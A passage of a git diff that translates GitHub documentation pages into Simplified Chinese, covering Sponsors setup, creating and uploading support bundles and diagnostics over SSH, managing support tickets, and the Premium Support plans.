reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.create-stripe-account %} + +## 提交您的税务信息 + +{% data reusables.sponsors.tax-form-information-dev %} + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.overview-tab %} {% data reusables.sponsors.tax-form-link %} + +## 在您的 {% data variables.product.prodname_dotcom %} 帐户上启用双重身份验证 (2FA)。 + +在成为被赞助的开发者之前,您必须为您在 {% data variables.product.product_location %} 上的帐户启用 2FA。 有关详细信息,请参阅“[配置双因素身份验证](/articles/configuring-two-factor-authentication)”。 + +## 向 {% data variables.product.prodname_dotcom %} 提交申请以请求批准 + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +4. 单击“请求审批”。 + ![“请求审批”按钮](/assets/images/help/sponsors/request-approval-button.png) + +{% data reusables.sponsors.github-review-app %} diff --git a/translations/zh-CN/content/support/contacting-github-support/providing-data-to-github-support.md b/translations/zh-CN/content/support/contacting-github-support/providing-data-to-github-support.md index c2460886cc..6421b21464 100644 --- a/translations/zh-CN/content/support/contacting-github-support/providing-data-to-github-support.md +++ b/translations/zh-CN/content/support/contacting-github-support/providing-data-to-github-support.md @@ -1,6 +1,6 @@ --- -title: Providing data to GitHub Support -intro: 'Since {% data variables.contact.github_support %} doesn''t have access to your environment, we sometimes require some additional information from you.' +title: 向 GitHub 支持提供数据 +intro: '由于 {% data variables.contact.github_support %} 无法访问环境,因此有时需要你提供一些额外的信息。' shortTitle: Providing data versions: ghes: '*' @@ -13,17 +13,22 @@ redirect_from: - /admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support topics: - Support +ms.openlocfilehash: 56a90a9449a92577d08e068095e5b0dc5b443bb2 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: '146331910' --- +## 关于诊断文件和支持包 -## About diagnostic files and support bundles +{% data variables.contact.github_support %} 可能会要求以清理日志文件的形式提供其他数据。 可能需要提供三种类型的日志文件。 -{% data variables.contact.github_support %} may ask you to provide additional data in the form of sanitized log files. There are three types of log file you may be asked to provide. +诊断文件包含有关 {% data variables.product.prodname_ghe_server %} 实例的设置和环境的信息,支持包包含过去两天的诊断和日志,而扩展支持包还包含诊断和日志,但仅限于过去七天。 -Diagnostic files contain information about a {% data variables.product.prodname_ghe_server %} instance's settings and environment, support bundles contain diagnostics and logs from the past two days, and extended support bundles also contain diagnostics and logs but from the past seven days. +## 关于日志文件清理 -## About log file sanitization - -Authentication tokens, keys, and secrets are removed from log files in the following log directories contained within a support bundle or diagnostics file: +身份验证令牌、密钥和机密将从支持包或诊断文件中包含的以下日志目录中的日志文件中删除: * `alambic-logs` * `babeld-logs` @@ -39,146 +44,136 @@ Authentication tokens, keys, and secrets are removed from log files in the follo * `render-logs` * `svn-bridge-logs` -## Creating and sharing diagnostic files +## 创建和共享诊断文件 -Diagnostic files are an overview of a {% data variables.product.prodname_ghe_server %} instance's settings and environment that contains: +诊断文件是 {% data variables.product.prodname_ghe_server %} 实例的设置和环境的概述,其中包含: -- Client license information, including company name, expiration date, and number of user licenses -- Version numbers and SHAs -- VM architecture -- Host name, private mode, SSL settings -- Load and process listings -- Network settings -- Authentication method and details -- Number of repositories, users, and other installation data +- 客户端许可信息,包括公司名称、到期日期和用户许可数量 +- 版本号和 SHA +- VM 架构 +- 主机名、私有模式、SSL 设置 +- 加载和处理列表 +- 网络设置 +- 身份验证方法和详情 +- 仓库、用户和其他安装数据的数量 -You can download the diagnostics for your instance from the {% data variables.enterprise.management_console %} or by running the `ghe-diagnostics` command-line utility. +可以从 {% data variables.enterprise.management_console %} 或通过运行 `ghe-diagnostics` 命令行实用程序下载实例的诊断。 -### Creating a diagnostic file from the {% data variables.enterprise.management_console %} +### 从 {% data variables.enterprise.management_console %} 创建诊断文件 -You can use this method if you don't have your SSH key readily available. +如果您没有随时可用的 SSH 密钥,则可以使用此方法。 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.type-management-console-password %} -{% data reusables.enterprise_management_console.support-link %} -5. Click **Download diagnostics info**. +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} {% data reusables.enterprise_management_console.support-link %} +5. 单击“下载诊断信息”。 -### Creating a diagnostic file using SSH +### 使用 SSH 创建诊断文件 -You can use this method without signing into the {% data variables.enterprise.management_console %}. +您无需登录 {% data variables.enterprise.management_console %} 即可使用此方法。 -Use the [ghe-diagnostics](/enterprise/admin/guides/installation/command-line-utilities#ghe-diagnostics) command-line utility to retrieve the diagnostics for your instance. +使用 [ghe-diagnostics](/enterprise/admin/guides/installation/command-line-utilities#ghe-diagnostics) 命令行实用程序检索实例的诊断。 ```shell -$ ssh -p122 admin@HOSTNAME -- 'ghe-diagnostics' > diagnostics.txt +$ ssh -p122 admin@hostname -- 'ghe-diagnostics' > diagnostics.txt ``` -## Creating and sharing support bundles +## 创建和共享支持包 -After you submit your support request, we may ask you to share a support bundle with our team. The support bundle is a gzip-compressed tar archive that includes diagnostics and important logs from your instance, such as: +您提交支持请求后,我们可能会要求您与我们团队共享支持包。 支持包是一个 gzip 压缩的 tar 存档,其中包含来自您的实例的诊断和重要日志,例如: -- Authentication-related logs that may be helpful when troubleshooting authentication errors, or configuring LDAP, CAS, or SAML -- {% data variables.enterprise.management_console %} log -- `github-logs/exceptions.log`: Information about 500 errors encountered on the site -- `github-logs/audit.log`: {% data variables.product.prodname_ghe_server %} audit logs -- `babeld-logs/babeld.log`: Git proxy logs -- `system-logs/haproxy.log`: HAProxy logs -- `elasticsearch-logs/github-enterprise.log`: Elasticsearch logs -- `configuration-logs/ghe-config.log`: {% data variables.product.prodname_ghe_server %} configuration logs -- `collectd/logs/collectd.log`: Collectd logs -- `mail-logs/mail.log`: SMTP email delivery logs +- 在对身份验证错误进行故障排查或者配置 LDAP、CAS 或 SAML 时,与身份验证相关的日志可能会十分有用 +- {% data variables.enterprise.management_console %} 日志 +- `github-logs/exceptions.log`:关于站点上遇到的 500 个错误的信息 +- `github-logs/audit.log`{% data variables.product.prodname_ghe_server %} 审核日志 +- `babeld-logs/babeld.log`:Git 代理日志 +- `system-logs/haproxy.log`:HAProxy 日志 +- `elasticsearch-logs/github-enterprise.log`:Elasticsearch 日志 +- `configuration-logs/ghe-config.log`:{% data variables.product.prodname_ghe_server %} 配置日志 +- `collectd/logs/collectd.log`:收集的日志 +- `mail-logs/mail.log`:SMTP 电子邮件传递日志 -For more information, see "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)." +有关详细信息,请参阅“[关于你企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)”。 -Support bundles include logs from the past two days. To get logs from the past seven days, you can download an extended support bundle. For more information, see "[Creating and sharing extended support bundles](#creating-and-sharing-extended-support-bundles)." +支持包包含过去两天的日志。 要获取过去七天的日志,您可以下载扩展支持包。 有关详细信息,请参阅“[创建和共享扩展支持包](#creating-and-sharing-extended-support-bundles)”。 {% tip %} -**Tip:** When you contact {% data variables.contact.github_support %}, you'll be sent a confirmation email that will contain a ticket reference link. If {% data variables.contact.github_support %} asks you to upload a support bundle, you can use the ticket reference link to upload the support bundle. +**提示:** 联系 {% data variables.contact.github_support %} 时,你将收到一封确认电子邮件,其中包含票证参考链接。 如果 {% data variables.contact.github_support %} 要求您上传支持包,则可以使用事件单参考链接来上传支持包。 {% endtip %} -### Creating a support bundle from the {% data variables.enterprise.management_console %} +### 从 {% data variables.enterprise.management_console %} 创建支持包 -You can use these steps to create and share a support bundle if you can access the web-based {% data variables.enterprise.management_console %} and have outbound internet access. +如果您可以访问基于 web 的 {% data variables.enterprise.management_console %} 并具有出站互联网访问权限,则可以使用下列步骤来创建和共享支持包。 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.type-management-console-password %} -{% data reusables.enterprise_management_console.support-link %} -5. Click **Download support bundle**. -{% data reusables.enterprise_enterprise_support.sign-in-to-support %} -{% data reusables.enterprise_enterprise_support.upload-support-bundle %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} {% data reusables.enterprise_management_console.support-link %} +5. 单击“下载支持包”。 +{% data reusables.enterprise_enterprise_support.sign-in-to-support %} {% data reusables.enterprise_enterprise_support.upload-support-bundle %} -### Creating a support bundle using SSH +### 使用 SSH 创建支持包 -You can use these steps to create and share a support bundle if you have SSH access to {% data variables.location.product_location %} and have outbound internet access. +如果您可以通过 SSH 访问 {% data variables.product.product_location %} 并且拥有出站互联网访问权限,则可以使用下列步骤来创建和共享支持包。 {% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} -1. Download the support bundle via SSH: +1. 通过 SSH 下载支持包: ```shell - $ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o' > support-bundle.tgz + $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -o' > support-bundle.tgz ``` - For more information about the `ghe-support-bundle` command, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities#ghe-support-bundle)". -{% data reusables.enterprise_enterprise_support.sign-in-to-support %} -{% data reusables.enterprise_enterprise_support.upload-support-bundle %} + 有关 `ghe-support-bundle` 命令的详细信息,请参阅“[命令行实用工具](/enterprise/admin/guides/installation/command-line-utilities#ghe-support-bundle)”。 +{% data reusables.enterprise_enterprise_support.sign-in-to-support %} {% data reusables.enterprise_enterprise_support.upload-support-bundle %} -### Uploading a support bundle using your enterprise account +### 使用您的企业帐户上传支持包 -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -3. In the left sidebar, click **Enterprise licensing**. - ![Screenshot showing "Enterprise licensing" link in the enterprise account settings sidebar.](/assets/images/help/enterprises/enterprise-licensing-tab.png) -4. Under "{% data variables.product.prodname_enterprise %} Help", click **Upload a support bundle**. - ![Screenshot showing "Upload a support bundle link".](/assets/images/enterprise/support/upload-support-bundle.png) -5. Under "Select an enterprise account", select the support bundle's associated account from the drop-down menu. - ![Screenshot showing the dropdown menu to select the support bundle's enterprise account.](/assets/images/enterprise/support/support-bundle-account.png) -6. Under "Upload a support bundle for {% data variables.contact.enterprise_support %}", to select your support bundle, click **Choose file**, or drag your support bundle file onto **Choose file**. - ![Screenshot showing the "Choose file" button to upload a support bundle file.](/assets/images/enterprise/support/choose-support-bundle-file.png) -7. Click **Upload**. +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} +3. 在左侧边栏中,单击“企业许可”。 + ![显示企业帐户设置侧边栏中的“企业许可”链接的屏幕截图。](/assets/images/help/enterprises/enterprise-licensing-tab.png) +4. 在“{% data variables.product.prodname_enterprise %} 帮助”下,单击“上传支持包”。 + ![显示“上传支持包链接”的屏幕截图。](/assets/images/enterprise/support/upload-support-bundle.png) +5. 在“Select an enterprise account(选择企业帐户)”下,从下拉菜单选择支持包的相关帐户。 + ![显示下拉菜单的屏幕截图,用于选择支持包的企业帐户。](/assets/images/enterprise/support/support-bundle-account.png) +6. 在“为 {% data variables.contact.enterprise_support %} 上传支持包”下,选择你的支持包,单击“选择文件”,或将你的支持包文件拖到“选择文件” 。 + ![显示“选择文件”按钮的屏幕截,用于上传支持包文件。](/assets/images/enterprise/support/choose-support-bundle-file.png) +7. 单击“上载” 。 -### Uploading a support bundle directly using SSH +### 使用 SSH 直接上传支持包 -You can directly upload a support bundle to our server if: -- You have SSH access to {% data variables.location.product_location %}. -- Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.location.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_. +在以下情况下您可以直接将支持包上传到我们的服务器: +- 您可以通过 SSH 访问 {% data variables.product.product_location %}。 +- 通过 TCP 端口 443 的出站 HTTPS 连接允许从 {% data variables.product.product_location %} 连接到 _enterprise-bundles.github.com_ 和 _esbtoolsproduction.blob.core.windows.net_。 -1. Upload the bundle to our support bundle server: +1. 将包上传到我们的支持包服务器: ```shell - $ ssh -p122 admin@HOSTNAME -- 'ghe-support-bundle -u' + $ ssh -p122 admin@hostname -- 'ghe-support-bundle -u' ``` -## Creating and sharing extended support bundles +## 创建和共享扩展支持包 -Support bundles include logs from the past two days, while _extended_ support bundles include logs from the past seven days. If the events that {% data variables.contact.github_support %} is investigating occurred more than two days ago, we may ask you to share an extended support bundle. You will need SSH access to download an extended bundle - you cannot download an extended bundle from the {% data variables.enterprise.management_console %}. +支持包包括过去两天的日志,而扩展支持包包括过去七天的日志。 如果 {% data variables.contact.github_support %} 调查的事件发生在两天之前,我们可能会要求您分享扩展支持包。 需要 SSH 权限才能下载扩展包 - 不能从 {% data variables.enterprise.management_console %} 下载扩展包。 -To prevent bundles from becoming too large, bundles only contain logs that haven't been rotated and compressed. Log rotation on {% data variables.product.prodname_ghe_server %} happens at various frequencies (daily or weekly) for different log files, depending on how large we expect the logs to be. +为避免体积变得太大,支持包只包含尚未轮换和压缩的日志。 关于 {% data variables.product.prodname_ghe_server %} 上的日志轮换,可针对不同的日志文件设置不同的频率(每日或每周),具体取决于我们期望的日志大小。 -### Creating an extended support bundle using SSH +### 使用 SSH 创建扩展支持包 -You can use these steps to create and share an extended support bundle if you have SSH access to {% data variables.location.product_location %} and you have outbound internet access. +如果您可以通过 SSH 访问 {% data variables.product.product_location %} 并有拥有出站互联网访问权限,则可以使用下列步骤来创建和共享扩展支持包。 -1. Download the extended support bundle via SSH by adding the `-x` flag to the `ghe-support-bundle` command: +1. 将 `-x` 标记添加到 `ghe-support-bundle` 命令,通过 SSH 下载扩展支持包: ```shell - $ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o -x' > support-bundle.tgz + $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -o -x' > support-bundle.tgz ``` -{% data reusables.enterprise_enterprise_support.sign-in-to-support %} -{% data reusables.enterprise_enterprise_support.upload-support-bundle %} +{% data reusables.enterprise_enterprise_support.sign-in-to-support %} {% data reusables.enterprise_enterprise_support.upload-support-bundle %} -### Uploading an extended support bundle directly using SSH +### 使用 SSH 直接上传扩展支持包 -You can directly upload a support bundle to our server if: -- You have SSH access to {% data variables.location.product_location %}. -- Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.location.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_. +在以下情况下您可以直接将支持包上传到我们的服务器: +- 您可以通过 SSH 访问 {% data variables.product.product_location %}。 +- 通过 TCP 端口 443 的出站 HTTPS 连接允许从 {% data variables.product.product_location %} 连接到 _enterprise-bundles.github.com_ 和 _esbtoolsproduction.blob.core.windows.net_。 -1. Upload the bundle to our support bundle server: +1. 将包上传到我们的支持包服务器: ```shell - $ ssh -p122 admin@HOSTNAME -- 'ghe-support-bundle -u -x' + $ ssh -p122 admin@hostname -- 'ghe-support-bundle -u -x' ``` -## Further reading +## 延伸阅读 -- "[About GitHub Support](/support/learning-about-github-support/about-github-support)" -- "[Generating a Health Check for your enterprise](/enterprise-server@latest/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)" +- [关于 GitHub 支持](/support/learning-about-github-support/about-github-support) +- [为企业生成运行状况检查](/enterprise-server@latest/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise) diff --git a/translations/zh-CN/content/support/contacting-github-support/viewing-and-updating-support-tickets.md b/translations/zh-CN/content/support/contacting-github-support/viewing-and-updating-support-tickets.md index e53a389ec6..d61a3be28e 100644 --- a/translations/zh-CN/content/support/contacting-github-support/viewing-and-updating-support-tickets.md +++ b/translations/zh-CN/content/support/contacting-github-support/viewing-and-updating-support-tickets.md @@ -1,6 +1,6 @@ --- -title: Viewing and updating support tickets -intro: 'You can view your support tickets{% ifversion ghes or ghec %}, collaborate with colleagues on tickets,{% endif %} and respond to {% data variables.contact.github_support %} using the {% data variables.contact.support_portal %}.' +title: 查看和更新支持工单 +intro: '可以查看支持票证{% ifversion ghes or ghec %},与同事协作处理票证,{% endif %}并使用 {% data variables.contact.support_portal %} 响应 {% data variables.contact.github_support %}。' shortTitle: Managing your tickets versions: fpt: '*' @@ -8,64 +8,67 @@ versions: ghes: '*' topics: - Support +ms.openlocfilehash: b735331d90c590ff6911fed44e181563b44bfc27 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193263' --- - -## About ticket management +## 关于工单管理 {% data reusables.support.zendesk-old-tickets %} -You can use the [GitHub Support Portal](https://support.github.com/) to view current and past support tickets and respond to {% data variables.contact.github_support %}. After 120 days, resolved tickets are archived{% ifversion ghec or ghes or ghae %}, and archived tickets can only be viewed for enterprise accounts{% endif %}. +可以使用 [GitHub 支持门户](https://support.github.com/)查看当前和过去的支持工单并回复 {% data variables.contact.github_support %}。 120 天后,已解决的票证将会存档{% ifversion ghec or ghes or ghae %},并且只能查看企业帐户的已存档票证{% endif %}。 -{% ifversion ghes or ghec %} -{% data reusables.enterprise-accounts.support-entitlements %} -{% endif %} +{% ifversion ghes or ghec %} {% data reusables.enterprise-accounts.support-entitlements %} {% endif %} -## Viewing your recent support tickets +## 查看最近的支持票证 {% data reusables.support.view-open-tickets %} -1. Under the text box, you can read the comment history. The most recent response is at the top. +1. 在文本框下,可以阅读评论历史记录。 最近的回复位于顶部。 - ![Screenshot of support ticket comment history, with the most recent response at the top](/assets/images/help/support/support-recent-response.png) + ![支持票证评论历史记录的屏幕截图,最近的回复位于顶部](/assets/images/help/support/support-recent-response.png) -1. Optionally, to translate the ticket comment, click {% octicon "globe" aria-label="The globe icon" %} and choose your preferred language from the dropdown menu. You can translate your support ticket into Chinese (Simplified), French, German, Japanese, Portuguese (Brazil), or Spanish. +1. (可选)若要翻译票证评论,请单击 {% octicon "globe" aria-label="The globe icon" %},然后从下拉菜单中选择首选语言。 可以将支持票证翻译为中文(简体)、法语、德语、日语、葡萄牙语(巴西)或西班牙语。 - ![Screenshot of a support ticket with the dropdown menu showing the options for translation emphasized](/assets/images/help/support/support-ticket-translation-options.png) + ![支持票证的屏幕截图,其中下拉菜单突出显示了翻译选项](/assets/images/help/support/support-ticket-translation-options.png) {% ifversion ghec or ghes or ghae %} -## Viewing your archived support tickets +## 查看已存档的支持票证 -You can only view archived tickets for an enterprise account. +只能查看企业帐户的已存档票证。 {% data reusables.support.navigate-to-my-tickets %} -1. Select the **My Tickets** drop-down menu and click the name of the enterprise account. +1. 选择“我的票证”下拉菜单,然后单击企业帐户的名称。 {% indented_data_reference reusables.support.entitlements-note spaces=3 %} - ![Screenshot of the "My Tickets" dropdown menu.](/assets/images/help/support/ticket-context.png) -1. Under the "My tickets" table, click **View archived tickets**. + ![“我的工单”下拉菜单的屏幕截图。](/assets/images/help/support/ticket-context.png) +1. 在“我的票证”表下,单击“查看已存档的票证”。 {% endif %} -## Updating support tickets +## 更新支持工单 {% data reusables.support.view-open-tickets %} -1. Optionally, if the issue is resolved, under the text box, click **Close ticket**. -![Screenshot showing location of the "Close ticket" button.](/assets/images/help/support/close-ticket.png) -1. To respond to GitHub Support and add a new comment to the ticket, type your response in the text box. -![Screenshot of the "Add a comment" text field.](/assets/images/help/support/new-comment-field.png) -1. To add your comment to the ticket, click **Comment**. -![Screenshot of the "Comment" button.](/assets/images/help/support/add-comment.png) +1. (可选)如果问题得到解决,请在文本框下单击“关闭工单”。 +![显示“关闭工单”按钮位置的屏幕截图。](/assets/images/help/support/close-ticket.png) +1. 若要回复 GitHub 支持并向工单添加新评论,请在文本框中输入你的回复。 +![“添加评论”文本字段的屏幕截图。](/assets/images/help/support/new-comment-field.png) +1. 若要将评论添加到工单,请单击“评论”。 +![“评论”按钮的屏幕截图。](/assets/images/help/support/add-comment.png) {% ifversion ghec or ghes %} -## Collaborating on support tickets +## 协作处理支持工单 -You can collaborate with your colleagues on support tickets using the support portal. Owners, billing managers, and other enterprise members with support entitlements can view tickets associated with an enterprise account or an organization managed by an enterprise account. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)." +你可以使用支持门户与你的同事协作处理支持工单。 拥有支持权利的所有者、计费管理员和其他企业成员可以查看与企业帐户或由企业帐户管理的组织关联的工单。 有关详细信息,请参阅“[管理企业的支持权利](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)”。 -In addition to viewing tickets, you can also add comments to support tickets if your email address is copied on the ticket or if the person who opened the ticket used an email address with a domain that is verified for the enterprise account or organization managed by an enterprise account. For more information about verifying a domain, see "[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)" and "[Verifying or approving a domain for your organization](/enterprise-cloud@latest/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." +除了查看票据外,如果电子邮件地址复制到了工单上,或者工单创建者使用的电子邮件地址的域名被验证为企业帐户或企业帐户管理的组织,则还可以向支持工单添加评论。 有关验证域的详细信息,请参阅“[为企业验证或批准域](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)”和“[为组织验证或批准域](/enterprise-cloud@latest/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)”。 {% endif %} -## Further reading +## 延伸阅读 -- "[About GitHub Support](/support/learning-about-github-support/about-github-support)" +- [关于 GitHub 支持](/support/learning-about-github-support/about-github-support) diff --git a/translations/zh-CN/content/support/learning-about-github-support/about-github-premium-support.md b/translations/zh-CN/content/support/learning-about-github-support/about-github-premium-support.md index 6e5bd60a19..05b36fceb8 100644 --- a/translations/zh-CN/content/support/learning-about-github-support/about-github-premium-support.md +++ b/translations/zh-CN/content/support/learning-about-github-support/about-github-premium-support.md @@ -1,6 +1,6 @@ --- -title: About GitHub Premium Support -intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_enterprise %} customers.' +title: 关于 GitHub 高级支持 +intro: '{% data variables.contact.premium_support %} 是向 {% data variables.product.prodname_enterprise %} 客户提供的一种付费、补充服务。' shortTitle: GitHub Premium Support versions: ghec: '*' @@ -20,125 +20,130 @@ redirect_from: - /support/about-github-support/about-github-premium-support topics: - Support +ms.openlocfilehash: 23504e6554b6dc1dbe0f239d2b73006e588711f9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147052302' --- - {% note %} -**Notes:** +**注意:** -- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of November 2021. +- {% data variables.contact.premium_support %} 的条款自 2021 年 11 月开始生效,如有变动,恕不另行通知。 - {% data reusables.support.data-protection-and-privacy %} {% endnote %} -## About {% data variables.contact.premium_support %} +## 关于 {% data variables.contact.premium_support %} {% data reusables.support.premium-support-features %} -## {% data variables.contact.premium_support %} plans +## {% data variables.contact.premium_support %} 计划 -There are two {% data variables.contact.premium_support %} plans: Premium and Premium Plus / {% data variables.product.microsoft_premium_plus_support_plan %}. +有两个 {% data variables.contact.premium_support %} 计划:Premium 和 Premium Plus / {% data variables.product.microsoft_premium_plus_support_plan %}。 | | {% data variables.product.premium_support_plan %} | {% data variables.product.premium_plus_support_plan %} | |---|---|------| -| Hours of operation | 24 x 7 | 24 x 7 | -| Initial response time |
  • 30 minutes for {% data variables.product.support_ticket_priority_urgent %}
  • 4 hours for {% data variables.product.support_ticket_priority_high %}
|
  • 30 minutes for {% data variables.product.support_ticket_priority_urgent %}
  • 4 hours for {% data variables.product.support_ticket_priority_high %}
| -| Support channels |
  • Online ticket submission
  • Phone support in English via callback request
  • Screen share request for critical issues
|
  • Online ticket submission
  • Phone support in English via callback request
  • Screen share request for critical issues
| -| Training | Access to premium content |
  • Access to premium content
  • 1 virtual training class per year
| -| Members with support entitlements | 20 | 20 | -| Resources | Priority ticket handling |
  • Priority ticket handling
  • Named Customer Reliability Engineer
| -| Health Checks | Unlimited automated Health Check reports (see "[Generating a Health Check for your enterprise]({% ifversion not ghes%}/enterprise-server@latest{% endif %}/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)") |
  • Unlimited automated Health Check reports (see "[Generating a Health Check for your enterprise]({% ifversion not ghes%}/enterprise-server@latest{% endif %}/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)")
  • Quarterly enhanced Health Checks, with findings, interpretations, and recommendations from a Customer Reliability Engineer (by request)
| -| Technical advisory hours| None | 4 hours per month | -| Application upgrade assistance | None | By request | -| Cloud planning | None | By request | +| 营业时间 | 全天候 | 全天候 | +| 初始响应时间 |
  • 30 分钟,{% data variables.product.support_ticket_priority_urgent %}
  • 4 小时,{% data variables.product.support_ticket_priority_high %}
|
  • 30 分钟,{% data variables.product.support_ticket_priority_urgent %}
  • 4 小时,{% data variables.product.support_ticket_priority_high %}
| +| 支持通道 |
  • 在线事件单提交
  • 通过回拨请求提供英语电话支持
  • 针对严重问题的屏幕共享请求
|
  • 在线事件单提交
  • 通过回拨请求提供英语电话支持
  • 针对严重问题的屏幕共享请求
| +| 培训 | 高级内容访问权限 |
  • 高级内容访问权限
  • 每年 1 次虚拟培训课程
| +| 拥有支持权利的成员 | 20 | 20 | +| 资源 | 优先事件单处理 |
  • 优先事件单处理
  • 指定客户可靠性工程师
| +| 运行状况检查 | 无限制的自动运行状况检查报告(请参阅“[为企业生成运行状况检查]({% ifversion not ghes%}/enterprise-server@latest{% endif %}/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)”) |
  • 无限制的自动运行状况检查报告(请参阅“[为企业生成运行状况检查]({% ifversion not ghes%}/enterprise-server@latest{% endif %}/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)”)
  • 按季度增强的运行状况检查,包括来自客户可靠性工程师的发现、解释和建议(按请求)
| +| 技术咨询小时| 无 | 每月 4 小时 | +| 应用程序升级帮助 | 无 | 按请求 | +| 云规划 | 无 | 按请求 | {% note %} - **Notes:** - - Enterprise owners and billing managers automatically have a support entitlement. Enterprise owners can add support entitlements to members of organizations owned by their enterprise account. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)." - - For the {% data variables.product.premium_plus_support_plan %}, 50% of unused Managed Services hours roll over to the next month and expire at the end of the quarter. + **注意:** + - 企业所有人和帐单管理员自动拥有支持权利。 企业所有者可以向企业帐户拥有的组织成员添加支持权利。 有关详细信息,请参阅[管理企业的支持权利](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)。 + - 对于 {% data variables.product.premium_plus_support_plan %},50% 的未使用管理服务时间滚动到下个月,在季度结束时到期。 {% endnote %} -## Signing up for {% data variables.contact.premium_support %} +## 注册 {% data variables.contact.premium_support %} -To sign up for {% data variables.contact.premium_support %} or upgrade your plan, you can [contact our account management team](https://enterprise.github.com/contact) or call [+1 (877) 448-4820](tel:+1-877-448-4820). +为注册 {% data variables.contact.premium_support %} 或升级计划,可以[联系我们的客户管理团队](https://enterprise.github.com/contact)或拨打 [+1 (877) 448-4820](tel:+1-877-448-4820)。 -## Scope of support +## 支持范围 {% data reusables.support.scope-of-support %} -## Contacting {% data variables.contact.premium_support %} +## 联系 {% data variables.contact.premium_support %} -{% data variables.contact.premium_support %} customers can use the {% data variables.contact.contact_landing_page_portal %} to report issues in writing, in English. +{% data variables.contact.premium_support %} 客户可以使用 {% data variables.contact.contact_landing_page_portal %} 以书面(英文)形式报告问题。 -## Hours of operation +## 营业时间 -{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. If you purchased {% data variables.contact.premium_support %} prior to September 17, 2018, support is limited during holidays. For more information on holidays {% data variables.contact.premium_support %} observes, see the holiday schedule at "[About {% data variables.contact.github_support %}](/enterprise-server@latest/admin/enterprise-support/overview/about-github-enterprise-support)." +{% data variables.contact.premium_support %} 全天候提供。 如果您在 2018 年 9 月 17 日之前购买了 {% data variables.contact.premium_support %},则节假日期间的支持有限。 有关 {% data variables.contact.premium_support %} 庆祝节假日的详细信息,请参阅“[关于 {% data variables.contact.github_support %}](/enterprise-server@latest/admin/enterprise-support/overview/about-github-enterprise-support)”中的节假日安排。 -## Service Level Agreement response times +## 服务等级协议响应时间 -For tickets you submit, support is available 24 hours a day, 7 days per week. The initial response time guaranteed by the SLA is dependent on the priority level of the ticket. Response time begins when {% data variables.contact.premium_support %} sets the priority level of the ticket. A response does not mean the issue has been resolved. +对于您提交的事件单,我们提供全天候支持。 SLA 保证的初始响应时间取决于事件单的优先级。 响应时间从 {% data variables.contact.premium_support %} 确定事件单的优先级开始计算。 响应并不意味着问题已经得到解决。 -| Ticket priority level | Initial response time | +| 事件单优先级 | 初始响应时间 | | --- | ---| -| {% data variables.product.support_ticket_priority_urgent %} | 30 minutes | -| {% data variables.product.support_ticket_priority_high %} | 4 hours | +| {% data variables.product.support_ticket_priority_urgent %} | 30 分钟 | +| {% data variables.product.support_ticket_priority_high %} | 